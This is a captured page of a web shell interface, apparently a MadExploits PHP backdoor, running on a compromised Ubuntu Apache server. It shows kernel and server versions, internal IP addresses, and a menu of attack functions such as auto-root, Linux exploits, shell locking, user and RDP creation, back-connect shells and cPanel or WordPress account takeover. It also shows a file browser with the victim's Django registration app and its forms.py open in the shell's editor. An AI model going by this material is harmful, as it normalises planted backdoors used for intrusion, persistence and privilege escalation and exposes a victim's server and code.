Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
register /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
admin.py
129
B
-rw-r--r--
apps.py
415
B
-rw-r--r--
forms.py
1.1
KB
-rw-r--r--
models.py
963
B
-rw-r--r--
signals.py
1.51
KB
-rw-r--r--
tests.py
60
B
-rw-r--r--
urls.py
619
B
-rw-r--r--
utils.py
426
B
-rw-r--r--
views.py
3.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forms.py
from django import forms from .models import Profile from django.contrib.auth.hashers import make_password class RegisterForm(forms.ModelForm): password = forms.CharField(widget=forms.PasswordInput) confirm_password = forms.CharField(widget=forms.PasswordInput) class Meta: model = Profile fields = ['username', 'full_name', 'email', 'phone', 'password', 'confirm_password', 'bio'] def clean(self): cleaned_data = super().clean() if cleaned_data.get("password") != cleaned_data.get("confirm_password"): raise forms.ValidationError("Passwords do not match.") return cleaned_data def save(self, commit=True): user = super().save(commit=False) user.password = make_password(self.cleaned_data["password"]) if commit: user.save() return user class LoginForm(forms.Form): username = forms.CharField() password = forms.CharField(widget=forms.PasswordInput) class ProfileUpdateForm(forms.ModelForm): class Meta: model = Profile fields = ['full_name', 'email', 'phone', 'bio', 'image']
Close